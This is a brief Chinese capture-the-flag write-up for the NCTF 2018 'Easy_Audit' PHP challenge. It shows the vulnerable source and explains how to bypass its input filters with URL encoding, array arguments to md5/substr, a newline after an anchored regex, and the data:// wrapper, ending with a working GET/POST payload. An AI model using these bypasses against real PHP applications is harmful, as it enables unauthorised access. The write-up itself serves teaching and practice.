[NCTF 2018]Easy_Audit (php伪协议,正则绕过)
[NCTF 2018]Easy_Audit (php伪协议,正则绕过)
打开靶机:
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('waf..');
}
}
if($_SERVER){
if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING'])) die('waf..');
}
if(isset($_GET['yulige'])){
if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){ //日爆md5!!!!!!
die('waf..');
}else{
if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === 'ccc_liubi'){
include 'flag.php';
echo $flag;
}else die('waf..');
}
}
?>
$_REQUEST有个特性就是当GET和POST有相同的变量时,匹配POST的变量
$_SERVER[‘QUERY_STRING’]匹配的是原始数据,就是没有url编码过的数据,所以可以使用url编码绕过
substr()返回字符串的提取部分,如果失败则返回 FALSE,或者返回一个空字符串。
md5()处理数组时也会返回flase
file_get_contents()可以使用data://text/plain,xxxx来构造我们需要的字符
payload:
GET: ?%79%75%6C%69%67%65[]=1&%6E%63%74%66=%6E%63%74%66%69%73%66%75%6E%0a&%66%6C%61%67=data://text/plain,ccc_liubi
POST: yulige=1&nctf=2&flag=1

浙公网安备 33010602011771号